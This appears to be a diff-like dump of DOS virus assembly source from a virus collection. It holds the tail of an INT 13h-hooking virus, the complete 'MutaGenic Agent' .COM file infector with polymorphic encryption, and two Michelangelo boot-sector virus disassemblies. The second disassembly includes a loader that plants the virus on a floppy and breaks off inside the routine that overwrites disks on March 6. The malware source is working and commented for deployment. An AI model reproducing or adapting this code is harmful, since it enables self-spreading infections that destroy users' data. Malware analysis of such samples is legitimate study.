||||||
|
; int24here
|
||||||
|
;
|
||||||
|
h_03c7:
|
||||||
|
mov al,03h ;response = FAIL
|
||||||
|
iret ;and done
|
||||||
|
;
|
||||||
|
; int13here_2
|
||||||
|
;
|
||||||
|
h_03ca:
|
||||||
|
cmp ah,03h ;fn = write?
|
||||||
|
jnz h_03d6 ;no, skip this
|
||||||
|
inc byte ptr cs:[h_03ef] ;update ??
|
||||||
|
dec ah ;change function to read
|
||||||
|
h_03d6:
|
||||||
|
jmp dword ptr cs:[h_03f7] ;and continue INT 13
|
||||||
|
;
|
||||||
|
; int13here
|
||||||
|
;
|
||||||
|
h_03db:
|
||||||
|
shr byte ptr cs:[h_03ef],1 ;update ??
|
||||||
|
jae h_03e4 ;yes, skip this
|
||||||
|
inc ah ;change function
|
||||||
|
;i.e. read changes to write, etc!
|
||||||
|
h_03e4:
|
||||||
|
jmp dword ptr cs:[h_07b0] ;continue INT 13
|
||||||
|
;
|
||||||
|
h_03e9 db "* .COM" ;wildcard_com
|
||||||
|
h_03ef db 00h
|
||||||
|
;NOTE: location of following data CANNOT change!
|
||||||
|
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
|
||||||
|
h_03f4 db 0e8h ;virus_call
|
||||||
|
h_03f5 equ $
|
||||||
|
;
|
||||||
|
; references after the end of code space
|
||||||
|
;
|
||||||
|
org 03f5h
|
||||||
|
h_03f5 label word ;virus_call_ofs
|
||||||
|
org 03f7h
|
||||||
|
h_03f7 label word ;oldint13ofs
|
||||||
|
org 03f9h
|
||||||
|
h_03f9 label word ;oldint13seg
|
||||||
|
fun ends
|
||||||
|
end h_01f8
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
; MutaGenic Agent - MutaGen Test Virus
|
||||||
|
; by MnemoniX 1994
|
||||||
|
;
|
||||||
|
; This is an ordinary run-of-the-mill virus that infects a .COM file in
|
||||||
|
; the current directory on run and uses MutaGen to encrypt itself.
|
||||||
|
|
||||||
|
MGEN_SIZE equ 1032 ; size of MutaGen
|
||||||
|
|
||||||
|
ID equ 'MG' ; ID word
|
||||||
|
MAX_INFECTIONS equ 2 ; infections per run
|
||||||
|
|
||||||
|
extrn _MUTAGEN:near ; call MutaGen
|
||||||
|
|
||||||
|
code segment byte public 'code'
|
||||||
|
org 100h
|
||||||
|
assume cs:code,ds:code,es:code,ss:code
|
||||||
|
|
||||||
|
start:
|
||||||
|
db 0E9h,03h,00h ; jmp virus_begin
|
||||||
|
dw ID
|
||||||
|
|
||||||
|
host:
|
||||||
|
db 0CDh,020h,00
|
||||||
|
|
||||||
|
virus_begin:
|
||||||
|
call $+3 ; BP serves as pointer
|
||||||
|
pop bp
|
||||||
|
sub bp,offset $-1
|
||||||
|
|
||||||
|
mov byte ptr [bp+offset infect],0 ; clear infection flag
|
||||||
|
|
||||||
|
mov ah,2Fh ; get original DTA address
|
||||||
|
int 21h ; and save it
|
||||||
|
push bx
|
||||||
|
|
||||||
|
lea dx,[bp+END_MGEN] ; set our DTA to the end of the
|
||||||
|
mov ah,1Ah ; virus code
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call infect_search ; infection routine ...
|
||||||
|
|
||||||
|
pop dx ; ... and we're done
|
||||||
|
mov ah,1Ah
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov di,100h ; enter in original five bytes of host
|
||||||
|
push di ; save DI as host address
|
||||||
|
lea si,[bp+offset prog_len] ; get address of original host header
|
||||||
|
mov si,[si] ; found at end of host program
|
||||||
|
add si,100h
|
||||||
|
movsb ; move five bytes
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
|
||||||
|
ret ; and call host
|
||||||
|
|
||||||
|
infect_search proc near
|
||||||
|
|
||||||
|
mov ah,4Eh ; search for first .COM file
|
||||||
|
lea dx,[bp+com_file] ; in directory
|
||||||
|
xor cx,cx
|
||||||
|
int 21h
|
||||||
|
jnc infect_file ; none present, leave
|
||||||
|
jmp inf_complete
|
||||||
|
|
||||||
|
infect_file:
|
||||||
|
mov ax,3D02h ; .COM file found, open
|
||||||
|
lea dx,[bp+END_MGEN+1Eh]
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov bx,ax ; file handle in BX
|
||||||
|
mov ax,5700h ; get file date and time
|
||||||
|
int 21h ; and save it
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
|
||||||
|
lea dx,[bp+orig_header] ; now read in first five bytes
|
||||||
|
mov cx,5 ; of the file
|
||||||
|
mov ah,3Fh
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,4202h ; no, infect this file
|
||||||
|
call move_pointer ; (this call is to save bytes)
|
||||||
|
|
||||||
|
cmp ax,64000
|
||||||
|
jae infected ; file is too big, skip it
|
||||||
|
cmp [bp+offset orig_header+3],ID
|
||||||
|
je infected ; if previously infected, skip it
|
||||||
|
|
||||||
|
lea si,[bp+offset new_jump+1]
|
||||||
|
|
||||||
|
push [bp+offset prog_len] ; save original program length
|
||||||
|
mov [bp+offset prog_len],ax ; store this program length
|
||||||
|
|
||||||
|
add ax,2
|
||||||
|
mov [si],ax
|
||||||
|
|
||||||
|
lea dx,[bp+offset orig_header] ; store first five bytes of file
|
||||||
|
mov cx,5 ; at end of file
|
||||||
|
mov ah,40h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
; MutaGen calling routine
|
||||||
|
push bx
|
||||||
|
push bp
|
||||||
|
mov dx,[si] ; MutaGen offset calculation
|
||||||
|
add dx,103h
|
||||||
|
mov cx,VIRUS_SIZE ; write VIRUS_SIZE bytes
|
||||||
|
lea di,[bp+END_MGEN+80h] ; store at end of virus
|
||||||
|
lea si,[bp+offset virus_begin]
|
||||||
|
call _MUTAGEN
|
||||||
|
|
||||||
|
pop bp
|
||||||
|
pop bx
|
||||||
|
lea dx,[bp+offset END_MGEN+80h] ; write encrypted code
|
||||||
|
mov ah,40h ; to file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop [bp+offset prog_len] ; restore original program length
|
||||||
|
|
||||||
|
mov ax,4200h ; lastly, add our new jump instruction
|
||||||
|
call move_pointer ; to the beginning of the file
|
||||||
|
|
||||||
|
lea dx,[bp+offset new_jump]
|
||||||
|
mov cx,5 ; write five bytes to file
|
||||||
|
mov ah,40h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
inc byte ptr [bp+offset infect] ; set infection flag
|
||||||
|
|
||||||
|
infected:
|
||||||
|
pop dx ; restore time and date
|
||||||
|
pop cx
|
||||||
|
mov ax,5701h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3Eh ; close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp byte ptr [bp+offset infect],1 ; did an infection occur?
|
||||||
|
je inf_complete ; yes, go
|
||||||
|
|
||||||
|
mov ah,4Fh ; find another file
|
||||||
|
int 21h ; and repeat
|
||||||
|
jc inf_complete ; none found, quit
|
||||||
|
jmp infect_file
|
||||||
|
inf_complete:
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
move_pointer:
|
||||||
|
xor cx,cx ; i'm being really stingy with space
|
||||||
|
xor dx,dx ; here ...
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
|
||||||
|
endp
|
||||||
|
|
||||||
|
com_file db '*.COM',0 ; .COM file
|
||||||
|
orig_header db 5 dup(0) ; first three bytes of program
|
||||||
|
new_jump db 0E9h,00,00 ; new jump instruction
|
||||||
|
dw ID ; ID signature
|
||||||
|
prog_len dw 3 ; length of file for return sequence
|
||||||
|
infect db 0
|
||||||
|
sig db '[MutaGenic Agent]',0
|
||||||
|
|
||||||
|
virus_end:
|
||||||
|
|
||||||
|
END_MGEN equ virus_end + MGEN_SIZE
|
||||||
|
VIRUS_SIZE equ virus_end - virus_begin + MGEN_SIZE
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
|
|
||||||
@@ -0,0 +1,234 @@
|
|||||||
|
; This is a disassembly of the much-hyped michelangelo virus.
|
||||||
|
; As you can see, it is a derivative of the Stoned virus. The
|
||||||
|
; junk bytes at the end of the file are probably throwbacks to
|
||||||
|
; the Stoned virus. In any case, it is yet another boot sector
|
||||||
|
; and partition table infector.
|
||||||
|
|
||||||
|
michelangelo segment byte public
|
||||||
|
assume cs:michelangelo, ds:michelangelo
|
||||||
|
; Disassembly by Dark Angel of PHALCON/SKISM
|
||||||
|
org 0
|
||||||
|
|
||||||
|
jmp entervirus
|
||||||
|
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||||||
|
maxhead db 2 ; used by damagestuff
|
||||||
|
firstsector dw 3
|
||||||
|
oldint13h dd 0C8000256h
|
||||||
|
|
||||||
|
int13h:
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
or dl, dl ; default drive?
|
||||||
|
jnz exitint13h ; exit if not
|
||||||
|
xor ax, ax
|
||||||
|
mov ds, ax
|
||||||
|
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||||||
|
jnz exitint13h ; if not spinning, exit
|
||||||
|
pop ax
|
||||||
|
pop ds
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[oldint13h]; first call old int 13h
|
||||||
|
pushf
|
||||||
|
call infectdisk ; then infect
|
||||||
|
popf
|
||||||
|
retf 2
|
||||||
|
exitint13h: pop ax
|
||||||
|
pop ds
|
||||||
|
jmp dword ptr cs:[oldint13h]
|
||||||
|
|
||||||
|
infectdisk:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov si, 4
|
||||||
|
readbootblock:
|
||||||
|
mov ax,201h ; Read boot block to
|
||||||
|
mov bx,200h ; after virus
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jnc checkinfect ; continue if no error
|
||||||
|
xor ax,ax
|
||||||
|
pushf
|
||||||
|
call oldint13h ; Reset disk
|
||||||
|
dec si ; loop back
|
||||||
|
jnz readbootblock
|
||||||
|
jmp short quitinfect ; exit if too many failures
|
||||||
|
checkinfect:
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; check if already infected
|
||||||
|
jne infectitnow
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx+2] ; check again
|
||||||
|
je quitinfect
|
||||||
|
infectitnow:
|
||||||
|
mov ax,301h ; Write old boot block
|
||||||
|
mov dh,1 ; to head 1
|
||||||
|
mov cl,3 ; sector 3
|
||||||
|
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||||
|
je is360Kdisk
|
||||||
|
mov cl,0Eh
|
||||||
|
is360Kdisk:
|
||||||
|
mov firstsector,cx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jc quitinfect ; exit on error
|
||||||
|
mov si,200h+offset partitioninfo
|
||||||
|
mov di,offset partitioninfo
|
||||||
|
mov cx,21h ; Copy partition table
|
||||||
|
cld
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write virus to sector 1
|
||||||
|
xor bx,bx
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
quitinfect:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
entervirus:
|
||||||
|
xor ax,ax
|
||||||
|
mov ds,ax
|
||||||
|
cli
|
||||||
|
mov ss,ax
|
||||||
|
mov ax,7C00h ; Set stack to just below
|
||||||
|
mov sp,ax ; virus load point
|
||||||
|
sti
|
||||||
|
push ds ; save 0:7C00h on stack for
|
||||||
|
push ax ; later retf
|
||||||
|
mov ax,ds:[13h*4]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||||
|
mov ax,ds:[13h*4+2]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||||
|
mov ax,ds:[413h] ; memory size in K
|
||||||
|
dec ax ; 1024 K
|
||||||
|
dec ax
|
||||||
|
mov ds:[413h],ax ; move new value in
|
||||||
|
mov cl,6
|
||||||
|
shl ax,cl ; ax = paragraphs of memory
|
||||||
|
mov es,ax ; next line sets seg of jmp
|
||||||
|
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||||
|
mov ax,offset int13h
|
||||||
|
mov ds:[13h*4],ax
|
||||||
|
mov ds:[13h*4+2],es
|
||||||
|
mov cx,offset partitioninfo
|
||||||
|
mov si,7C00h
|
||||||
|
xor di,di
|
||||||
|
cld
|
||||||
|
rep movsb ; copy to high memory
|
||||||
|
; and transfer control there
|
||||||
|
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||||
|
; destination of highmem jmp
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
int 13h ; reset disk
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,7C00h
|
||||||
|
mov cx,firstsector
|
||||||
|
cmp cx,7 ; hard disk infection?
|
||||||
|
jne floppyboot ; if not, do floppies
|
||||||
|
mov dx,80h ; Read old partition table of
|
||||||
|
int 13h ; first hard disk to 0:7C00h
|
||||||
|
jmp short exitvirus
|
||||||
|
floppyboot:
|
||||||
|
mov cx,firstsector ; read old boot block
|
||||||
|
mov dx,100h ; to 0:7C00h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,201h ; read boot block
|
||||||
|
mov bx,200h ; of first hard disk
|
||||||
|
mov cx,1
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; is it infected?
|
||||||
|
jne infectharddisk ; if not, infect HD
|
||||||
|
lodsw ; check infection
|
||||||
|
cmp ax,[bx+2]
|
||||||
|
jne infectharddisk
|
||||||
|
exitvirus:
|
||||||
|
xor cx,cx ; Real time clock get date
|
||||||
|
mov ah,4 ; dx = mon/day
|
||||||
|
int 1Ah
|
||||||
|
cmp dx,306h ; March 6th
|
||||||
|
je damagestuff
|
||||||
|
retf ; return control to original
|
||||||
|
; boot block @ 0:7C00h
|
||||||
|
damagestuff:
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,1
|
||||||
|
smashanothersector:
|
||||||
|
mov ax,309h
|
||||||
|
mov si,firstsector
|
||||||
|
cmp si,3
|
||||||
|
je smashit
|
||||||
|
mov al,0Eh
|
||||||
|
cmp si,0Eh
|
||||||
|
je smashit
|
||||||
|
mov dl,80h ; first hard disk
|
||||||
|
mov maxhead,4
|
||||||
|
mov al,11h
|
||||||
|
smashit:
|
||||||
|
mov bx,5000h ; random memory area
|
||||||
|
mov es,bx ; at 5000h:5000h
|
||||||
|
int 13h ; Write al sectors to drive dl
|
||||||
|
jnc skiponerror ; skip on error
|
||||||
|
xor ah,ah ; Reset disk drive dl
|
||||||
|
int 13h
|
||||||
|
skiponerror:
|
||||||
|
inc dh ; next head
|
||||||
|
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||||
|
jb smashanothersector
|
||||||
|
xor dh,dh ; go to next head/cylinder
|
||||||
|
inc ch
|
||||||
|
jmp short smashanothersector
|
||||||
|
infectharddisk:
|
||||||
|
mov cx,7 ; Write partition table to
|
||||||
|
mov firstsector,cx ; sector 7
|
||||||
|
mov ax,301h
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
mov si,200h+offset partitioninfo ; Copy partition
|
||||||
|
mov di,offset partitioninfo ; table information
|
||||||
|
mov cx,21h
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write to sector 8
|
||||||
|
xor bx,bx ; Copy virus to sector 1
|
||||||
|
inc cl
|
||||||
|
int 13h
|
||||||
|
;* jmp short 01E0h
|
||||||
|
db 0EBh, 32h ; ?This should crash?
|
||||||
|
; The following bytes are meaningless.
|
||||||
|
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||||
|
partitioninfo: db 42h dup (0)
|
||||||
|
michelangelo ends
|
||||||
|
end
|
||||||
|
|
||||||
@@ -0,0 +1,386 @@
|
|||||||
|
;virus date 12/31/93
|
||||||
|
;disassembly of 1 version of the MICHElANGLO VIRUS
|
||||||
|
;michelangelo with a loader that will put the virus
|
||||||
|
;on a disk in drive b: will work correctly on 360 or 1.2meg disks
|
||||||
|
;loads orginal boot at last sector on those type of disks
|
||||||
|
;warning if computer date is march 6 on boot up with virus it will
|
||||||
|
;try to infect hard drive then write system info on
|
||||||
|
;to disks destroying the information on disk
|
||||||
|
;
|
||||||
|
;
|
||||||
|
;to load virus onto A drive alter the equ disk_dr to 00
|
||||||
|
|
||||||
|
int13_IP EQU 0004CH ;interrupt 13H location
|
||||||
|
int13_CS EQU 0004EH
|
||||||
|
|
||||||
|
|
||||||
|
MICHA SEGMENT BYTE
|
||||||
|
ASSUME CS:MICHA, DS:MICHA, ES:MICHA, SS:MICHA
|
||||||
|
|
||||||
|
;*****************************************************************************
|
||||||
|
;loader program
|
||||||
|
disk_dr equ 01 ;01 disk b 00 disk a
|
||||||
|
|
||||||
|
ORG 100H
|
||||||
|
|
||||||
|
START: MOV DL,DISK_DR
|
||||||
|
XOR SI,SI
|
||||||
|
|
||||||
|
XOR AX,AX ; RESET DRIVE
|
||||||
|
INT 13H
|
||||||
|
INC SI
|
||||||
|
AGAIN:
|
||||||
|
MOV AX,201H ;READ BOOT INTO BUFFER
|
||||||
|
MOV BX,OFFSET BUFF
|
||||||
|
MOV CX,01
|
||||||
|
MOV Dh,00
|
||||||
|
mov dl,disk_dr
|
||||||
|
INT 13H
|
||||||
|
JNC ALRIGHT
|
||||||
|
|
||||||
|
CMP SI,4
|
||||||
|
JA ERROR_WRITE
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
int 13h
|
||||||
|
JMP AGAIN
|
||||||
|
ALRIGHT:
|
||||||
|
MOV AX,301H ; WRITE BOOT TO
|
||||||
|
MOV Dh,01 ; LAST SECTOR OF
|
||||||
|
MOV CL,03 ; DIR
|
||||||
|
mov dl,disk_dr ; WHICH DISK
|
||||||
|
CMP BYTE PTR [BX+15H],0FDH ; TYPE OF DISK HIGH LOW
|
||||||
|
JZ LOW_DENSW ;
|
||||||
|
|
||||||
|
MOV CL,0EH
|
||||||
|
|
||||||
|
LOW_DENSW:
|
||||||
|
MOV [LOC_ORG_BOOT],CX ; SETUP VIRUS FOR TYPE
|
||||||
|
INT 13H ; DISK DRIVE
|
||||||
|
|
||||||
|
XOR AX,AX ; RESET DRIVE
|
||||||
|
INT 13H
|
||||||
|
|
||||||
|
MOV AX,0301H ;WRITE VIRUS
|
||||||
|
MOV BX,OFFSET M_START ; TO BOOT SECTOR
|
||||||
|
mov cx,01
|
||||||
|
mov Dh,00
|
||||||
|
mov dl,disk_dr
|
||||||
|
INT 13H
|
||||||
|
JNC FINI
|
||||||
|
|
||||||
|
ERROR_WRITE: MOV AH,9
|
||||||
|
MOV DX,OFFSET ERROR_MESS
|
||||||
|
INT 21H
|
||||||
|
|
||||||
|
|
||||||
|
FINI:
|
||||||
|
INT 20H ;EXIT
|
||||||
|
|
||||||
|
ERROR_MESS DB 'SORRY THERE IS A PROBLEM CHECK DRIVE DOOR'
|
||||||
|
DB 'OR TRY ANOTHER DISK',24H
|
||||||
|
|
||||||
|
BUFF DB 200H DUP (90) ;BUFFER FOR R/W OF DISK
|
||||||
|
|
||||||
|
;*************************************************************************
|
||||||
|
|
||||||
|
ORG 0413H
|
||||||
|
MEM_SIZE DW ? ;memory size in kilobytes
|
||||||
|
|
||||||
|
ORG 043FH
|
||||||
|
MOTOR_STATUS DB ? ;floppy disk motor status
|
||||||
|
|
||||||
|
|
||||||
|
;*************************************************************************
|
||||||
|
|
||||||
|
ORG 7C00H
|
||||||
|
M_START:
|
||||||
|
JMP START1
|
||||||
|
|
||||||
|
JMP_HI_MEM DW OFFSET HI_MEM - 7C00H
|
||||||
|
HIGH_SEG DW 0
|
||||||
|
|
||||||
|
DESTROY_CNT DB 02
|
||||||
|
|
||||||
|
LOC_ORG_BOOT DW 000EH ;HIGH DENS
|
||||||
|
|
||||||
|
OLD_INT13_IP DW 0
|
||||||
|
OLD_INT13_CS DW 0
|
||||||
|
|
||||||
|
VIR_INT13:
|
||||||
|
PUSH DS ; SAVE REGS
|
||||||
|
PUSH AX ;
|
||||||
|
OR DL,DL ; IS IT DISK DRIVE A
|
||||||
|
JNZ BIOS_INT13 ; NO
|
||||||
|
|
||||||
|
XOR AX,AX ;CHECK MOTOR STATUS
|
||||||
|
MOV DS,AX ; IS MOTOR RUNNING
|
||||||
|
TEST BYTE PTR DS:[MOTOR_STATUS],01 ;
|
||||||
|
JNZ BIOS_INT13 ; YES
|
||||||
|
|
||||||
|
POP AX ; LET
|
||||||
|
POP DS ; THE INT CALL
|
||||||
|
PUSHF ; GO BUT RETURN
|
||||||
|
CALL DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; TO THE VIRUS
|
||||||
|
|
||||||
|
PUSHF ; ON RETURN
|
||||||
|
CALL INFECT_FLOPPY ; ATTEMPT INFECT
|
||||||
|
|
||||||
|
POPF ;ATTEMPTED INFECT RETURN
|
||||||
|
RETF 2 ;TO ORGINAL INT CALLER
|
||||||
|
|
||||||
|
BIOS_INT13:
|
||||||
|
POP AX ;LET BIOS HANDLE
|
||||||
|
POP DS ;THE CALL
|
||||||
|
JMP DWORD PTR CS:[OLD_INT13_IP - 7C00H] ;
|
||||||
|
|
||||||
|
INFECT_FLOPPY:
|
||||||
|
PUSH AX BX CX DX DS ES SI DI
|
||||||
|
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
|
||||||
|
PUSH CS
|
||||||
|
POP ES
|
||||||
|
|
||||||
|
MOV SI,04 ;RETRY COUNTER
|
||||||
|
|
||||||
|
READ_LP:
|
||||||
|
MOV AX,201H ; SETUP TO READ BOOT SECTOR
|
||||||
|
MOV BX,0200H ; TO END OF VIRUS
|
||||||
|
MOV CX,01 ;
|
||||||
|
XOR DX,DX ;
|
||||||
|
|
||||||
|
PUSHF ;FAKE A INT 13 CALL
|
||||||
|
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
|
||||||
|
JNB NO_ERROR ;
|
||||||
|
|
||||||
|
TRY_AGAIN: ; IF ERROR
|
||||||
|
XOR AX,AX ; RESET DRIVE
|
||||||
|
PUSHF ; AND TRY AGAIN FOR
|
||||||
|
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; COUNT OF 4
|
||||||
|
DEC SI ; USING SI
|
||||||
|
JNZ READ_LP ;
|
||||||
|
|
||||||
|
JMP SHORT ERROR_EXIT ;PROBALY WRITE PROTECT
|
||||||
|
;GET OUT
|
||||||
|
NO_ERROR:
|
||||||
|
XOR SI,SI
|
||||||
|
|
||||||
|
CHK_FOR_INFECTION:
|
||||||
|
CLD ; CHECK FIRST 2 BYTES
|
||||||
|
LODSW ; TO VIRUS
|
||||||
|
CMP AX,[BX] ;
|
||||||
|
JNZ NOT_INFECTED_A ; NOT MATCH GO INFECT
|
||||||
|
LODSW ; TRY NEXT 2 BYTES
|
||||||
|
CMP AX,[BX+2] ;
|
||||||
|
JZ ERROR_EXIT ; MATCH LEAVE
|
||||||
|
|
||||||
|
NOT_INFECTED_A:
|
||||||
|
MOV AX,301H ; WRITE THE ORGINAL
|
||||||
|
MOV DH,01 ; BOOT TO THE NEW
|
||||||
|
MOV CL,03 ; LOCATION FIND
|
||||||
|
CMP BYTE PTR [BX+15H],0FDH ; NEW LOCATION
|
||||||
|
JZ LOW_DENS ; BY CHECKING IF 360
|
||||||
|
|
||||||
|
MOV CL,0EH ; OR 1.2
|
||||||
|
|
||||||
|
LOW_DENS:
|
||||||
|
MOV [LOC_ORG_BOOT - 7C00H],CX ;SAVE NEW LOCATION
|
||||||
|
|
||||||
|
PUSHF ; CALL TO
|
||||||
|
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; INT 13
|
||||||
|
JB ERROR_EXIT
|
||||||
|
|
||||||
|
UPDATE_END:
|
||||||
|
MOV SI,3BEH ; COPY LAST
|
||||||
|
MOV DI,1BEH ; 21 BYTES FROM
|
||||||
|
MOV CX,21H ; ORGINAL BOOT
|
||||||
|
CLD ; SECTOR
|
||||||
|
REPZ MOVSW ; TO VIRUS
|
||||||
|
|
||||||
|
MOV AX,0301H ; WRITE VIRUS
|
||||||
|
XOR BX,BX ; TO BOOT SECTOR
|
||||||
|
MOV CX,01 ; SECTOR 1
|
||||||
|
XOR DX,DX ; DRIVE A HEAD A
|
||||||
|
|
||||||
|
PUSHF ;INT 13
|
||||||
|
CALL DWORD PTR [OLD_INT13_IP - 7C00H] ;
|
||||||
|
|
||||||
|
ERROR_EXIT:
|
||||||
|
POP DI SI ES DS DX CX BX AX ; RESTORE REGS
|
||||||
|
RET ; LEAVE
|
||||||
|
|
||||||
|
START1:
|
||||||
|
XOR AX,AX ;WHERE WE JUMP TO
|
||||||
|
MOV DS,AX ;AT BOOT UP TIME
|
||||||
|
CLI ;SET UP STACK
|
||||||
|
MOV SS,AX ;
|
||||||
|
MOV AX,7C00H ;
|
||||||
|
MOV SP,AX ;
|
||||||
|
STI ;
|
||||||
|
|
||||||
|
PUSH DS ; SET UP FOR RETF
|
||||||
|
PUSH AX ; LATER
|
||||||
|
|
||||||
|
MOV AX,DS:[INT13_IP] ;SAVE OLD INT 13
|
||||||
|
mov [OLD_INT13_IP],AX ;VECTORS
|
||||||
|
|
||||||
|
MOV AX,DS:[INT13_CS] ;
|
||||||
|
MOV [OLD_INT13_CS],AX ;
|
||||||
|
|
||||||
|
MOV AX,DS:[MEM_SIZE] ;DEC MEMORY SIZE
|
||||||
|
DEC AX ;
|
||||||
|
DEC AX ;
|
||||||
|
MOV DS:[MEM_SIZE],AX ;
|
||||||
|
|
||||||
|
MOV CL,06H ;CONVERT SIZE TO
|
||||||
|
SHL AX,CL ;SEGMENT ADDRESS
|
||||||
|
MOV ES,AX ;
|
||||||
|
|
||||||
|
MOV [HIGH_SEG],AX ;SAVE ADDRESS
|
||||||
|
|
||||||
|
MOV AX, OFFSET VIR_INT13 - 7C00H ; SET UP INT 13 TO
|
||||||
|
MOV DS:[INT13_IP],AX ; POINT TO US
|
||||||
|
MOV DS:[INT13_CS],ES ;
|
||||||
|
|
||||||
|
MOV CX,1BEH ;OFFSET END_VIR - OFFSET M_START
|
||||||
|
MOV SI,7C00H ;COPY VIRAL CODE UP IN MEMORY
|
||||||
|
XOR DI,DI ;
|
||||||
|
CLD ;
|
||||||
|
REPZ MOVSB ;
|
||||||
|
|
||||||
|
JMP DWORD PTR CS:[JMP_HI_MEM] ;GO THERE
|
||||||
|
|
||||||
|
HI_MEM:
|
||||||
|
XOR AX,AX ; RESET DRIVE
|
||||||
|
MOV ES,AX ; SET UP ES SEGMENT TO 0
|
||||||
|
INT 13H ;
|
||||||
|
|
||||||
|
PUSH CS ;DS POINTS HERE
|
||||||
|
POP DS ;
|
||||||
|
|
||||||
|
MOV AX,0201H ;READ ORGINAL BOOT
|
||||||
|
MOV BX,7C00H ;
|
||||||
|
MOV CX,[LOC_ORG_BOOT - 7C00H] ;
|
||||||
|
CMP CX,0007H ;
|
||||||
|
JNZ FLOPPY
|
||||||
|
|
||||||
|
H_DRIVE:
|
||||||
|
MOV DX,0080H ; READ ORGINAL
|
||||||
|
INT 13H ; BOOT FROM HARD DRIVE
|
||||||
|
JMP SHORT GET_DATE ; CHECK DATE
|
||||||
|
|
||||||
|
FLOPPY:
|
||||||
|
MOV CX,[LOC_ORG_BOOT - 7C00H] ;READ ORGINAL
|
||||||
|
MOV DX,100H ;BOOT FROM FLOPPY
|
||||||
|
INT 13H ;
|
||||||
|
JB GET_DATE ; IF ERROR CHECK DATE
|
||||||
|
|
||||||
|
PUSH CS
|
||||||
|
POP ES
|
||||||
|
|
||||||
|
HD_INFECT:
|
||||||
|
MOV AX,0201H ;READ 1 SECTOR
|
||||||
|
mov bx,0200h ;TO BUFFER
|
||||||
|
mov cx,0001h ;SECTOR 1
|
||||||
|
MOV DX,0080H ;HEAD 0 DISK C:
|
||||||
|
INT 13H
|
||||||
|
|
||||||
|
JB GET_DATE ;IF ERROR
|
||||||
|
|
||||||
|
CHK_BOOT:
|
||||||
|
XOR SI,SI
|
||||||
|
CLD
|
||||||
|
LODSW
|
||||||
|
CMP AX,[BX]
|
||||||
|
JNE NOT_INFECTED
|
||||||
|
LODSW
|
||||||
|
CMP AX,[BX+2]
|
||||||
|
JNE NOT_INFECTED
|
||||||
|
|
||||||
|
GET_DATE:
|
||||||
|
XOR CX,CX ;GET DATE
|
||||||
|
MOV AH,04 ;
|
||||||
|
INT 1AH ;
|
||||||
|
CMP DX,0306H ;IS IT MARCH 6
|
||||||
|
JZ TRASH_DISK ;
|
||||||
|
RETF ;BIOS_BOOT
|
||||||
|
|
||||||
|
;******************************************************************
|
||||||
|
; TRASH DISK ROUTTINE SIMPLY WRITE MEMORY DATA FROM
|
||||||
|
; 5000:5000 TO THE DISKS FIRST 9 SECTORS UNTIL AN ERROR HITS IT
|
||||||
|
;
|
||||||
|
|
||||||
|
TRASH_DISK:
|
||||||
|
XOR DX,DX
|
||||||
|
MOV CX,1
|
||||||
|
D_LOOP:
|
